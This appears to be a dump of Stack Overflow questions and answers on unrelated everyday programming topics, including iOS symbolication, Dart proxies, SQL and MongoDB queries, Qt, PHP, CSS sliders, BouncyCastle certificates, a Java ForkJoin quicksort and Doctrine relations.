/usr/lib/system/libsystem_network.dylib 0x3b3df000 - 0x3b3e6fff libsystem_notify.dylib armv7s &lt;df14146497cb3fa0a002eedbed49da65&gt; /usr/lib/system/libsystem_notify.dylib 0x3b3e7000 - 0x3b3e8fff libsystem_sandbox.dylib armv7s &lt;85e91e99abc03db88eddc665424090b4&gt; /usr/lib/system/libsystem_sandbox.dylib 0x3b3e9000 - 0x3b3e9fff libunwind.dylib armv7s &lt;3b7ec561dbec3a199f09ea08a64e76ee&gt; /usr/lib/system/libunwind.dylib 0x3b3ea000 - 0x3b3fffff libxpc.dylib armv7s &lt;0562a59bdf8d3f7783e93f35d7e724a8&gt; /usr/lib/system/libxpc.dylib </code></pre> <p>*<strong><em>update 3</em>*</strong> updated with dwarfdump commands suggested below</p> <pre><code>moliveira-&gt; dwarfdump --uuid MyApp.app/MyApp UUID: 208F2C67-493A-3DC7-AA74-AE08985CFC7C (armv7) MyApp.app/MyApp UUID: 1C123307-5BD6-3F03-9B9F-71F66CC1B1D3 (12-11) MyApp.app/MyApp [~/Desktop/symbolicate] moliveira-&gt; dwarfdump --uuid MyApp.app.dSYM UUID: 208F2C67-493A-3DC7-AA74-AE08985CFC7C (armv7) MyApp.app.dSYM/Contents/Resources/DWARF/MyApp UUID: 1C123307-5BD6-3F03-9B9F-71F66CC1B1D3 (12-11) MyApp.app.dSYM/Contents/Resources/DWARF/MyApp </code></pre>
17463397	0	 <p>This example also may help you to understand:</p> <pre class="lang-dart prettyprint-override"><code>void main() { var car = new CarProxy(new ProxyObjectImpl('Car')); testCar(car); var person = new PersonProxy(new ProxyObjectImpl('Person')); testPerson(person); } void testCar(Car car) { print(car.motor); } void testPerson(Person person) { print(person.age); print(person.name); } abstract class Car { String get motor; } abstract class Person { int get age; String get name; } class CarProxy implements Car { final ProxyObject _proxy; CarProxy(this._proxy); noSuchMethod(Invocation invocation) { return _proxy.handle(invocation); } } class PersonProxy implements Person { final ProxyObject _proxy; PersonProxy(this._proxy); noSuchMethod(Invocation invocation) { return _proxy.handle(invocation); } } abstract class ProxyObject { dynamic handle(Invocation invocation); } class ProxyObjectImpl implements ProxyObject { String type; int id; Map&lt;Symbol, dynamic&gt; properties; ProxyObjectImpl(this.type, [this.id]) { properties = ProxyManager.getProperties(type); } dynamic handle(Invocation invocation) { var memberName = invocation.memberName; if(invocation.isGetter) { if(properties.containsKey(memberName)) { return properties[memberName]; } } throw "Runtime Error: $type has no $memberName member"; } } class ProxyManager { static Map&lt;Symbol, dynamic&gt; getProperties(String name) { Map&lt;Symbol, dynamic&gt; properties = new Map&lt;Symbol, dynamic&gt;(); switch(name) { case 'Car': properties[new Symbol('motor')] = 'xPowerDrive2013'; break; case 'Person': properties[new Symbol('age')] = 42; properties[new Symbol('name')] = 'Bobby'; break; default: throw new StateError('Entity not found: $name'); } return properties; } } </code></pre>
14355742	0	 <p>By checking with breakpoint it seems it is only called once. </p>
1227391	0	What cross-browser charting packages are available? <p>I want to include some charts on my website and I'm looking for a good cross-browser charting package - what are my options?</p>
23059370	0	 <p>Unfortunately, that's does not change anything in me most common cases.</p> <p>Excellent response on which cases are improved : <a href="http://stackoverflow.com/questions/34488/does-limiting-a-query-to-one-record-improve-performance">Does limiting a query to one record improve performance</a></p> <p>And for your case, this article is about offest/limit performances : <a href="http://explainextended.com/2009/10/23/mysql-order-by-limit-performance-late-row-lookups/" rel="nofollow">http://explainextended.com/2009/10/23/mysql-order-by-limit-performance-late-row-lookups/</a></p>
9251278	0	 <p>Not a very clear question but you can use a query like this: (<strong>untested</strong>)</p> <pre><code>insert into pageview select 15, 'A VISITOR', 10, now() from pageview a where id_realestate=10 and DATE_ADD(now(),INTERVAL -30 MINUTE) &gt; ( select max(news_release) from pageview b where a.id_realestate=b.id_realestate ); </code></pre>
18659009	0	 <p>The usual approach for picking off digits is to use <code>n % 10</code> to get the value of the lowest digit then <code>n /= 10</code> to remove the lowest digit. Repeat until done.</p>
15479934	0	 <p>I figured out that I could create a new ObjectId first then when I insert it into the mongoDb, I pass the ObjectId.str for the "_id" property, then problem resolved, both mongo db level and grails level will have String type for id field.</p> <p>Code snippet is as following for mongo javascript script:</p> <pre><code>conn = new Mongo(); db = conn.getDB("dbName"); db.user.find().forEach( function(userDoc) { // Create a new object Id objectId = new ObjectId(); db.userRole.insert({ _id: objectId.str, // Before we insert, convert it as a String role: "51437d742cd1d9e80a3f0644", user: userDoc._id }); }); </code></pre>
22072208	0	Executing a .bat file with a parameter and reading the console output in C++ <p>I have a batch file I need to execute, it has one parameter, If I were to run this script myself I would open up cmd and write</p> <pre><code>lexparser.bat texfile.txt </code></pre> <p>and the output would then be printed to the console. I have shopped around and I have found some code which seems to be executing the file but I can't seem to extract the data being output, but I am unsure if this is correct.</p> <pre><code>QString pathDocument = qApp-&gt;applicationDirPath()+ "/stanford/lexparser.bat"; long result = (long)ShellExecute(0, 0, reinterpret_cast&lt;const WCHAR*&gt;(pathDocument.utf16()), 0, 0, SW_NORMAL); </code></pre> <p>I am using C++ as my language and I am also using the Qt Library to help me. I have limited programming ability so any help would be greatly appreciated</p>
10475621	0	 <p>Your post's variables should all be concatenated.</p> <pre><code>$.post('pageprocessing.php',"replyID=" + replyID + "&amp;tableName=" + tableName, function(response) { alert(response); }); </code></pre> <p>You could alternatively use objects</p> <pre><code>$.post('pageprocessing.php',{ replyID : replyID, tableName : tableName }, function(response) { alert(response); }); </code></pre>
35729648	0	 <p><code>os.listdir()</code> returns a list of strings much like the terminal command <code>ls</code>. It lists the names of the files, but it does not include the name of the directory. You need to add that yourself with <code>os.path.join()</code>:</p> <pre><code>def replace(directory, oldData, newData): for file in os.listdir(directory): file = os.path.join(directory, file) f = open(file,'r') filedata = f.read() newdata = filedata.replace(oldData,newData) f = open(file, 'w') f.write(newdata) f.close() </code></pre> <p>I would not recommend <code>file</code> as a variable name, however, because it conflicts with the built-in type. Also, it is recommended to use a <code>with</code> block when dealing with files. The following is my version:</p> <pre><code>def replace(directory, oldData, newData): for filename in os.listdir(directory): filename = os.path.join(directory, filename) with open(filename) as open_file: filedata = open_file.read() newfiledata = filedata.replace(oldData, newData) with open(filename, 'w') as write_file: f.write(newfiledata) </code></pre>
874070	0	Are there any USB stick runnable, no-install, cross platform software frameworks (with GUI)? <p>Does anyone know of a good software development framework or similar that has the following properties?</p> <ul> <li>Cross platform: it should be runnable on XP, Vista, OSX and common versions of Linux (such as Ubuntu and Kubuntu).</li> <li>No installation: Be able to run the software from a USB stick without having to copy anything to the host machine.</li> <li>Have good GUI support (this is why <a href="http://stackoverflow.com/questions/383757/ok-programming-language-from-usb-stick-with-no-installation">this question</a> doesn't give a suitable answer, as far as I can tell).</li> <li>Permissive licensing such as LGPL or BSD or such.</li> </ul> <p>Among the softer requirements are having a set of abstractions for the most common backend functionality, such as sockets, file IO, and so on (There is usually some platform specific adaptations necessary), and supporting a good language such as Python or C++, though it is usually fun to learn a new one (i.e. not perl).</p> <p>I think possible candidates are Qt 4.5 or above (but IFAIK Qt software will not run on Vista without any installation(?)), some wxWidgets or maybe wxPython solution, perhaps gtkmm. The examples I have found have failed on one or another of the requirements. This does not mean that no such examples exist, it just means that I have not found any. So I was wondering if anyone out there know of any existing solutions to this?</p> <p>Some clarifications;</p> <ul> <li>By "framework" I mean something like Qt or gtkmm or python with a widget package.</li> <li>This is about being able to run the finished product on multiple platforms, from a stick, without installation, it is not about having a portable development environment.</li> <li>It is not a boot stick.</li> <li>It is ok to have to build the software specifically for the different targets, if necessary.</li> </ul> <p>The use case I am seeing is that you have some software that you rely on (such as project planning, administration of information, analysis tools or similar) that:</p> <ul> <li>does not rely on having an internet connection being available.</li> <li>is run on different host machines where it is not really ok to install anything.</li> <li>is moved by a user via a physical medium (such as a USB stick).</li> <li>is run on different operating systems, such as Windows, Vista, Ubuntu, OSX.</li> <li>works on the same data on these different hosts (the data can be stored on the host or on the stick).</li> <li>is not really restricted in how big the bundled framework is (unless it is several gigabytes, which is not really realistic).</li> </ul> <p>It is also ok to have parallel installations on the stick as long as the software behaves the same and can work on the same data when run on the different targets. </p> <p>A different view on the use case would be that I have five newly installed machines with Vista, XP, OSX, Ubuntu and Kubuntu respectively in front of me. I would like to, without having to install anything new on the machines, be able to run the same software from a single USB stick (meeting the above GUI requirements and so on) on each of these five machines (though, if necessary from different bundles on the stick).</p> <p>Is this possible?</p> <p>Edit: I have experimented a little with a Qt app that uses some widgets and a sqlite database. It was easy to get it to work on an ubuntu dist and on osx. For windows xp and vista I had to copy QtCored4.dll, QtGuid4.dll, QtSqld4.dll and mingwm10.dll to distribution directory (this was debug code) and I copied the qsqlited4.dll to a folder named "sqldrivers" in the distribution directory.</p>
40229455	0	 <p>It's because when you have comments you print new one. What i suggest to do is use JSON to get the comments array, pass an ID to each comment and check if the Id is allready present in the list. that way you only paste new comment, here's an example.: <br> html</p> <pre><code>&lt;form action="" method="POST" id="comment-form"&gt; &lt;textarea id="home_comment" name="comment" placeholder="Write a comment..." maxlength="1000" required&gt;&lt;/textarea&gt;&lt;br&gt; &lt;input type="hidden" name="token" value="&lt;?php echo Token::generate(); ?&gt;"&gt; &lt;input id="comment-button" name="submit" type="submit" value="Post"&gt; &lt;/form&gt; &lt;div id="comment-container"&gt; &lt;div id="comment-1"&gt;bla bla bla&lt;/div&gt; &lt;/div&gt; </code></pre> <p><br> js</p> <pre><code>function commentRetrieve(){ $.ajax({ url: "ajax-php/comment-retrieve.php", type: "get", success: function (data) { // console.log(data); if (data == "Error!") { alert("Unable to retrieve comment!"); alert(data); } else { var array = JSON.parse(data); $(array).each(function($value) { if($('#comment-container').find('#comment-' + $value.id).length == 0) { $('#comment-container').prepend($value.html); } }); } }, error: function (xhr, textStatus, errorThrown) { alert(textStatus + " | " + errorThrown); console.log("error"); //otherwise error if status code is other than 200. } }); } setInterval(commentRetrieve, 300); </code></pre> <p><br> PHP</p> <pre><code>$user = new User(); $select_comments_sql = " SELECT c. *, p.user_id, p.img FROM home_comments AS c INNER JOIN (SELECT max(id) as id, user_id FROM profile_img GROUP BY user_id) PI on PI.user_id = c.user_id INNER JOIN profile_img p on PI.user_id = p.user_id and PI.id = p.id ORDER BY c.id DESC "; if ($select_comments_stmt = $con-&gt;prepare($select_comments_sql)) { //$select_comments_stmt-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $select_comments_stmt-&gt;execute(); //$select_comments_stmt-&gt;bind_result($comment_id, $comment_user_id, $comment_username, $home_comments, $comment_date, $commenter_user_id, $commenter_img); //$comment_array = array(); $rows = $select_comments_stmt-&gt;fetchAll(PDO::FETCH_ASSOC); foreach ($rows as $row) { $comment_id = $row['id']; $comment_user_id = $row['user_id']; $comment_username = $row['username']; $home_comments = $row['comment']; $comment_date = $row['date']; $commenter_user_id = $row['user_id']; $commenter_img = $row['img']; $commenter_img = '&lt;img class="home-comment-profile-pic" src=" '.$commenter_img.'"&gt;'; if ($home_comments === NULL) { echo 'No comments found.'; } else { $html = ""; $html .= '&lt;div class="comment-post-box"&gt;'; $html .= $commenter_img; $html .= '&lt;div class="comment-post-username"&gt;'.$comment_username. '&lt;/div&gt;'; $html .= '&lt;div&gt;'.$comment_date. '&lt;/div&gt;'; $html .= '&lt;div class="comment-post-text"&gt;'.$home_comments. '&lt;/div&gt;'; $html .= '&lt;/div&gt;'; array('id' =&gt; $comment_id, 'html' =&gt; $html) } } } </code></pre> <p><br> For better improvement, i would suggest looking into NodeJs socket for more realtime update. Here's a few link.<br></p> <p><a href="https://nodejs.org/en/" rel="nofollow">Official NodeJs Website</a><br> <a href="http://socket.io/" rel="nofollow">Official SocketIo Website</a><br> <a href="http://socket.io/get-started/chat/" rel="nofollow">Chat tutorial with socketIo and Nodejs</a> <br> Hope it helps!</p> <ul> <li>Nic</li> </ul>
26543998	0	 <p>I had the same issue. The arrows were displayed as in your screenshot no matter where I placed the font files. I even tried absolute links á la "src:url('d:/myProject/fonts/flexslider-icon.eot');" and it still didn't work. I think it has something to do </p> <p>with the font itself. </p> <p>But good news: I used the following workaround: </p> <p>I'm using font Arial and the two symbols "&lt;" and ">". </p> <p>You have to adjust the file flexslider.css the following way: </p> <p>This line: </p> <pre><code>.flex-direction-nav a:before { font-family:"flexslider-icon"; font-size: 40px; line-height:1; display: inline-block; content:'\f001'; } </code></pre> <p>has to be replaced by the following one: </p> <pre><code>.flex-direction-nav a:before { font-family:"Arial"; font-size: 40px; line-height:1; display: inline-block; content:'&lt;'; } </code></pre> <p>And this line: </p> <pre><code>.flex-direction-nav a.flex-next:before { content:'\f002'; } </code></pre> <p>has to be replaced by the following one: </p> <pre><code>.flex-direction-nav a.flex-next:before { content:'&gt;'; } </code></pre> <p>Hope this helps. Cheers, Michael</p>
13219685	0	Scala cannot access object classes <p>I'm obviously missing something fundamental here. I have the following Scala Code:</p> <pre><code>package org.carlskii import java.io._ import java.security.cert.CertificateFactory import java.security.Security import org.bouncycastle.jce.provider._ object Main extends App { Security.addProvider(new BouncyCastleProvider) val provider = new BouncyCastleProvider val in = new FileInputStream("cert.cer") val certificateFactory = CertificateFactory.getInstance("X509", provider) val certificate = certificateFactory.generateCertificate(file) println(certificate.getClass) } </code></pre> <p>Which produces this:</p> <pre><code>class org.bouncycastle.jce.provider.X509CertificateObject </code></pre> <p>So I have a Bouncy Castle <code>X509CertificateObject</code> object. If I call the <code>certificate.getPublicKey</code> method it correctly returns the public key for the certificate. </p> <p>However if I call <code>certificate.getSerialNumber</code> it throws the following error:</p> <pre><code>error: value getSerialNumber is not a member of java.security.cert.Certificate println(certificate.getSerialNumber) </code></pre> <p>The interesting thing here is that Scala thinks it's a <code>java.security.cert.Certificate</code> and not an <code>org.bouncycastle.jce.provider.X509CertificateObject</code> object. Why is this the case?</p>
22919157	0	Why my QuickSort using ForkJoin is so slow? <p>I have a simple program uses ForkJoin to accelerate QuickSort, but I found that the sort algorithm uses standard partition method is much faster than the one uses my partition methd.</p> <p>If I don't use ForkJoin, the time performance of two partition method is almost the same. But I expect my partition method be faster.</p> <hr> <p>Edit: <strong>The compare is between standard partition() using ForkJoin and mypartition using ForkJoin</strong>, so it doesn't relate with overheads of threading.</p> <hr> <p>Edit: </p> <p>When using standard partition method and 3 threads</p> <pre><code>sorted: true total time: 3368 sorted: true total time: 1578 </code></pre> <p>When using my partition method and 3 threads</p> <pre><code>sorted: true total time: 3587 sorted: true total time: 2478 </code></pre> <p>So the results shows that ForkJoin works well for standard partition method, but not well for my partition method.</p> <hr> <pre><code>package me.shu.lang.java.forkjoin; import java.util.Arrays; import java.util.Random; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.RecursiveAction; public class FJSort extends RecursiveAction { /** * */ private static final long serialVersionUID = 6386324579247067081L; final int threshold = 32; final int[] data; final int lo; final int hi; public FJSort(int n) { this.data = new int[n]; this.lo = 0; this.hi = n; Random rand = new Random(); for(int i = 0; i &lt; n; i++) { this.data[i] = rand.nextInt(Integer.MAX_VALUE); } } public FJSort(FJSort o) { this.data = o.data.clone(); this.lo = 0; this.hi = this.data.length; } public FJSort(int[] array, int lo, int hi) { this.data = array; this.lo = lo; this.hi = hi; } void swap(int i, int j) { int temp = data[i]; data[i] = data[j]; data[j] = temp; } int mypartition() { int v = data[hi - 1]; int i = lo; for(int j = hi - 1; j &gt; i;) { if(data[j] &lt;= v) { swap(i, j); i++; } else { j--; } } if(data[i] &lt; v) { i++; } return i; } int partition() { int v = data[hi - 1]; int i = lo; for(int j = lo; j &lt; hi - 1; ) { if(data[j] &lt;= v) { swap(i, j); i++; } j++; } swap(i, hi - 1); return i; } public void sort() { Arrays.sort(data, lo, hi); } public boolean sorted() { for(int i = lo; i + 1 &lt; hi; i++) { if(data[i] &gt; data[i+1]) { return false; } } return true; } protected void compute() { if (hi - lo &lt; threshold) sort(); else { int midpoint = mypartition(); //change to mypartition() is slow FJSort left = new FJSort(data, lo, midpoint); FJSort right = new FJSort(data, midpoint, hi); invokeAll(left, right); } } public static void main(String[] args) { long startTime; long endTime; FJSort p = new FJSort(1000 * 1000 * 30); FJSort p1 = new FJSort(p); { startTime = System.currentTimeMillis(); p.sort(); endTime = System.currentTimeMillis(); System.out.println("sorted: " + p.sorted()); System.out.println("total time: " + (endTime - startTime)); } { startTime = System.currentTimeMillis(); ForkJoinPool fjPool = new ForkJoinPool(1); fjPool.invoke(p1); endTime = System.currentTimeMillis(); System.out.println("sorted: " + p1.sorted()); System.out.println("total time: " + (endTime - startTime)); } } } </code></pre>
9894203	0	 <p>If you have many options, you usually create a seperate table, only with an id and description (or name). To Connect these two tables, you insert a field into the CHECKLIST_ANSWER-Table, and define it as a foreign key, which references to the id (primary key) of the new table, I have mentioned first.</p> <p>Hope it is clear :)</p>
19190082	0	Can I store an xml string in a resources file (.resx), without it getting encoded with &lt; and &gt;? <p>In Visual Studio, I can put an xml string into the "Value" field. However, when I open up the actual .resx file, I see that it has been encoded to have <code>&amp;lt;</code> and <code>&amp;gt;</code>. I want the .resx file to be able to be edited manually without using the Visual Studio UI, and obviously this is messy with the <code>&amp;gt;</code> and <code>&amp;lt;</code>s. Could I somehow do this without the encoding?</p>
29107557	0	 <p>Please <a href="http://stackoverflow.com/questions/19953382/how-to-force-page-refresh-on-browser-back-click">check this question</a> that addresses the problem using localStorage/sessionStorage.</p>
9610155	0	iOS - UITableView not displaying cells <p>I have the following interface set up in storyboard:</p> <p><img src="https://i.stack.imgur.com/sabsg.png" alt="enter image description here"></p> <p>The controller is a custom controller that extends from UITableViewController. When I run my app this is what I get:</p> <p><img src="https://i.stack.imgur.com/MGymS.png" alt="enter image description here"></p> <p>I thought it might have something to do with the Reuse Identifiers so I changed them to something unique for each of the cells, and modified the code accordingly, but still nothing shows up.</p>
32965874	0	 <ol> <li>Make sure you have opened xcworkspace and NOT xcodeproj. </li> <li>I have tested your code and everything works, so problem is that Xcode can not find .framework symbols, it finds only headers</li> </ol>
25094911	0	 <p>To be correct - to implement special member function (constructor/ copy constructor), because only in that methods can be used member initialization syntax(You have mentioned it as 1-st way). It is used for initialization of objects on creation. Second way is used for assignment of values to already created objects, which can be less efficient (especially for complex objects)</p>
19835634	0	Doctrine - many to one; Populating many, can't use the constant "ones" on the DB. How to insert manually the FKs? <p>I have the following model:</p> <pre><code> class Word{ ........... /** * @ManyToOne(targetEntity="Language", cascade={"persist"}) * @JoinColumn(name="language_id", referencedColumnName="id") */ protected $language; .......................... } class Language{ /** * @Id * @Column(type="integer", nullable=false) * @GeneratedValue(strategy="AUTO") */ protected $id; /** * @Column(type="string", unique=true, nullable=false) */ protected $language; ........ } </code></pre> <p>I have 3 records in the database for 3 different languages. A language is unique. </p> <p>I fail to create a new word and link it to one of the existing languages. I.e. I would like to know how to set the FK of Word to the PK of the language. And since FKs in the model don't exists as int IDs but rather object references, I am confused on how to implement it. I tried to use a Doctrine_Query::create()-> ... but I also failed with that. </p> <p>I have tried this:</p> <pre><code> $this-&gt;em = $this-&gt;doctrine-&gt;em; $w = $this-&gt;input-&gt;post('word'); $d = $this-&gt;input-&gt;post('description'); $desclan = $this-&gt;input-&gt;post('desclan'); //language is selected from a drop down //list populated from the DB $wordlan = $this-&gt;input-&gt;post('wordlan'); $word = new Entity\Word; $description = new Entity\Description; $language = new Entity\Language; $language-&gt;setLanguage($wordlan); $language-&gt;setLanguageId($lanId); // assuming that $lanId is obtained from DB $word-&gt;setWord($w); $word-&gt;setLanguage($language); $description-&gt;setDescription($d); $word-&gt;setDescrp($description); $this-&gt;em-&gt;persist($word); $this-&gt;em-&gt;flush(); </code></pre> <p>The language is chosen by a drop-down-list. This code of course spits that the language already exists in the database. How do I simply get the ID of the language and put it as a FK language_id in the 'word' table in the database, through Doctrine code?</p> <p>Thank you in advance!</p>
4369017	0	Background images only load sometimes <p><a href="http://eji.justgotnoobcoiled.com:8081/index.htm" rel="nofollow">http://eji.justgotnoobcoiled.com:8081/index.htm</a></p> <p>Hit refresh a few times. It happens more often in chrome.</p> <p>Any thoughts...?</p>
39681282	0	 <p>I found a simple trick. You can pass in headers object and update its pointer value.</p> <pre><code>const headers = { Authorization: '', }; Relay.injectNetworkLayer( new Relay.DefaultNetworkLayer('http://example.com/graphql', { headers: headers, }) ); // To update the authorization, set the field. headers.Authorization = 'Basic SSdsbCBmaW5kIHNvbWV0aGluZyB0byBwdXQgaGVyZQ==' </code></pre>
26158115	0	 <p>try it <a href="http://jsfiddle.net/cu4u5xo5/7/" rel="nofollow">DEMO</a></p> <pre><code>.inside { display:inline-block; vertical-align:top; } </code></pre>
13649327	0	Desire2Learn Valence API logout <p>I'm trying to implement a way to actually logout from my application that is using the Valence API. I can obviously clear the session on my end, but is there a way through the API to actually log out of the Desire2Learn site as well? I've looked through the docs and didn't see anything.</p>
31928669	0	Is javascriptserializer needed when passing Json data back to my view? <p>I ran a little test (bottom) to see if nested objects could be serialized and they can! So why do I see my co workers code base serialize before he returns to the view?</p> <pre><code>var js = new JavaScriptSerializer(); return Json(new { m = js.Serialize(movies), error = "none" }, JsonRequestBehavior.AllowGet); </code></pre> <p>here is my example where I don't need to serialize, why not? and what does serializing accomplish?</p> <pre><code>var movies = new List&lt;object&gt;(); movies.Add(new { Title = "Ghostbusters", Genre = "Comedy", Year = 1984, br = new {Man = "Tall"} }); movies.Add(new { Title = "Gone with Wind", Genre = "Drama", Year = 1939 }); movies.Add(new { Title = "Star Wars", Genre = "Science Fiction", Year = 1977 }); return Json(new { m = movies, error = "none" }, JsonRequestBehavior.AllowGet); </code></pre>
27985976	0	Genemu JQueryColor Field Symfony2 error ColorPicker <p>I try to use Genemu JQueryColor Field with Symfony2</p> <pre><code> &lt;?php // ... public function buildForm(FormBuilder $builder, array $options) { $builder // ... -&gt;add('color', 'genemu_jquerycolor') -&gt;add('colorpicker', 'genemu_jquerycolor', array( 'widget' =&gt; 'image' )) } </code></pre> <p>It runs Exception</p> <blockquote> <p>Neither the property "colorpicker" nor one of the methods "getColorpicker()", "colorpicker()", "isColorpicker()", "hasColorpicker()", "__get()" exist and have public access in class "KALAN\NetRDVBundle\Entity\Station</p> </blockquote> <p>I try just</p> <pre><code>-&gt;add('colorpicker', 'genemu_jquerycolor', array( 'widget' =&gt; 'image' )) </code></pre> <p>No error, but just inpput text with code color</p> <p>I try </p> <pre><code>-&gt;add('color', 'genemu_jquerycolor', array( 'widget' =&gt; 'image')) </code></pre> <p>No error, the background color is ok but i can change the color.</p> <p>I try just</p> <pre><code>-&gt;add('colorpicker', 'genemu_jquerycolor', array( 'widget' =&gt; 'image')) </code></pre> <p>Or </p> <pre><code>-&gt;add('colorpicker', 'genemu_jquerycolor') </code></pre> <p>The error is the same</p> <blockquote> <p>Neither the property "colorpicker" nor one of the methods "getColorpicker()", "colorpicker()", "isColorpicker()", "hasColorpicker()", "__get()" exist and have public access in class "KALAN\NetRDVBundle\Entity\Station".</p> </blockquote> <p>Even if i can't add </p> <pre><code>{{ form_widget(form.colorpicker) }} </code></pre>
29698797	0	 <p>You have to do following steps.</p> <ol> <li>Go to the admin and see what theme/template you are using for your store.</li> <li>Then go to app/design/frontend </li> <li>Locate your theme package</li> <li>Then locate page.xml file. It should be under app/design/frontend/themackage/default/layout This xml file shall let you know about all the different css being used in your theme.</li> <li>Identify your css file.</li> <li>Then go to skin/front/your them package.</li> </ol> <p>Here you will find your css file. </p> <p>You can change the css element in your target file.</p>
40246717	0	 <pre><code>try { File f=new File("test.html"); BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(f))); String content=null; while((content=reader.readLine())!=null) { System.out.println(content); } } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } </code></pre>
25529517	0	 <p>If you take a look on the links in the mobfox and google ad mob website, you'll see that the adapter is not updated anymore from 08/04/2013...</p>
29550993	0	 <p>Mine started working when I set <code>AllowDBNull</code> to True on a date field on a data table in the xsd file.</p>
39110574	0	 <pre><code>df.set_index('date').groupby('type', as_index=False).resample('d').bfill().reset_index().drop('level_0', axis=1) Out: date type value 0 2016-01-01 a 1 1 2016-01-02 a 3 2 2016-01-03 a 3 3 2016-01-04 a 3 4 2016-01-10 b 4 5 2016-01-11 b 7 6 2016-01-12 b 7 7 2016-01-13 b 7 </code></pre>
1724016	0	 <p>Is <code>@networks_domentic</code> getting set properly in the controller? Add <code>&lt;%= @networks_domestic.inspect %&gt;</code> right before line 52 and see what you get. Check for <code>@networkd_domestic.nil?</code> in the controller and make sure you don't send <code>nil</code> to the view.</p> <p>EDIT:</p> <p>If you look at the source for <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html#M001628" rel="nofollow noreferrer"><code>options_from_collection_for_select</code></a> you will see that it is calling <code>map</code> on the collection you pass (@networks_domestic in this case).</p>
22312417	0	Extraing data from json array and separate according to type <p>So I am currently trying to extract information from a json array using <code>json_decode($result,true)</code>. The background here is that there is another php script getting information from a database and it is sending the data to me as <code>json_encoded</code> result.</p> <p>using <code>print_r($json)</code> i get the following</p> <pre><code>Array ( [result] =&gt; 1 [message] =&gt; Query Successful [data] =&gt; Query Output [0] =&gt; Array ( //Several values [test] =&gt; test [Example] =&gt; catcatcat [choice2] =&gt; B ) [1] =&gt; Array [test]=&gt; test //etc.... </code></pre> <p>I understand we can use a simple for loop to get some stuff to display or in this case I used</p> <pre><code>for($i=0;$i&lt;=count($json); $i++){ echo $json[$i]['test']; //etc etc } </code></pre> <p>and that will display the value. But what I cant figure out is how to send that to my HTML page as an output as a list. </p> <p>I am trying to get it to display as following</p> <ol> <li>Test catcatcat B</li> <li>Test etc etc</li> </ol> <p>--This may be a separate question but for me to learn I want to know if it's possible to actually break down the array and send to html as radio input and turn it into a value to choose from.</p>
10832071	0	Main data model on android <p>I have an android application with a number of activities. I have a singleton class holding my main data model which all activities access to get data.</p> <p>The problem is that sometimes the android GC decides to destroy my singleton when the app in the background (when you press the home button). Is there anyway that I can bypass this?</p>
25707303	0	 <p>In the event where you want to move from form1 to form2</p> <pre><code>Form2 obj = new Form2(textbox1.Text,DateTime.Value); this.Hide(); Form2.Show(); </code></pre> <p>In form 2</p> <pre><code>public form2() { InitializeComponent(); //if you need something } string someName=""; DateTime dt; public form2(string name,Datetime value) { InitializeComponent(); someName=name; dt=value; } </code></pre> <p>Now your someName will have that value</p>
39818718	0	Open Cart Error getspecialprice <p>But I get error:</p> <blockquote> <p>Error = Notice: Undefined property: Proxy::getSpecialPriceEnd in /home/deqorati/public_html/catalog/controller/module/showintabs_output.php on line 100</p> </blockquote> <p>How can I solve this problem? Can anyone help me? Code is below.</p> <pre><code>if ((float)$result['special']) { $special_info = $this-&gt;model_catalog_product-&gt;getSpecialPriceEnd($result['product_id']); $special_date_end = strtotime($special_info['date_end']) - time(); } else { $special_date_end = false; } </code></pre>
2244299	0	getting error when click on the Image button? <p>in my application i have vidoes there with image when i click on any video it is showing this message.</p> <p>Invalid postback or callback argument. Event validation is enabled using in configuration or &lt;%@ Page EnableEventValidation="true" %> in a page. For security purposes, this feature verifies that arguments to postback or callback events originate from the server control that originally rendered them. If the data is valid and expected, use the ClientScriptManager.RegisterForEventValidation method in order to register the postback or callback data for validation. </p> <p>i place the enbaleEven validation="true" both in webconfig in that particular page. even though it is giving same error </p>
8513882	0	 <p>You could capture only the bit you want to keep:</p> <pre><code>"1234 1/2 Old Town Alexandria".replace(/^(\d*\s+)1\/\d\s/, '$1'); </code></pre>
12919181	0	j2me connection to spring security <p>I have an application that use spring security for authentification I m trying to connect to this application from j2ME midlet</p> <p>so I am sending an HTTP request from a j2me application using the post method to send username and the password but it doesn't work</p> <p>the post methode code is fine. it works with other services of the same application (which not require authentification)</p> <p>but when it comes to authentification I'm getting the response code 302</p> <p>here is my code</p> <pre><code> OutputStream os = null; HttpConnection connection = null; InputStream is = null; StringBuffer sb = new StringBuffer(); try { connection = (HttpConnection)Connector.open("http://localhost:8080/myAppli/j_spring_security_check"); connection.setRequestMethod(HttpConnection.POST); connection.setRequestProperty("User-Agent", "Profile/MIDP-2.0 Configuration/CLDC-1.1"); connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); os = connection.openOutputStream(); byte data[] =("j_username=appliusername&amp;j_password=applipassword").getBytes(); os.write(data); os.flush(); int respCode=connection.getResponseCode(); if (connection.getResponseCode() == HttpConnection.HTTP_OK) { is = connection.openInputStream(); if (is != null ) { int ch = -1; while ((ch = is.read()) != -1) { sb.append((char)ch); } } }else { System.out.println("Error in opening HTTP Connection. Error#" + respCode); } } catch (Exception e) { e.printStackTrace(); } finally { try { if (is != null) { is.close(); //is = null; } if (os != null) { os.close(); //is = null; } if (connection != null) { connection.close(); // connection = null; } }catch (Exception e2) { e2.printStackTrace(); } } </code></pre>
21103187	0	 <pre><code>$link="download.php/1000338/The%20Rise%20and%20Fall%20of%20Legs%20Diamond%20%5B1960%5D.avi.torrent"; $x=explode('/',$link); $id=$x[1]; </code></pre> <p>demo:<a href="http://codepad.viper-7.com/cWYXKe" rel="nofollow">http://codepad.viper-7.com/cWYXKe</a></p> <p>using your code:</p> <pre><code> $rss = simplexml_load_file('RSS FEED HERE'); echo '&lt;h1&gt;'. $rss-&gt;channel-&gt;title . '&lt;/h1&gt;'; foreach ($rss-&gt;channel-&gt;item as $item) { //echo the link echo '&lt;h2&gt;&lt;a href="'. $item-&gt;link .'"&gt;' . $item-&gt;title . "&lt;/a&gt;&lt;/h2&gt;"; //echo the date echo "&lt;p&gt;" . $item-&gt;pubDate . "&lt;/p&gt;"; //echo the description echo "&lt;p&gt;" . $item-&gt;description . "&lt;/p&gt;" $x=explode('/',$item-&gt;link); $id=$x[1]; } </code></pre> <p>then use $id any way you like</p>
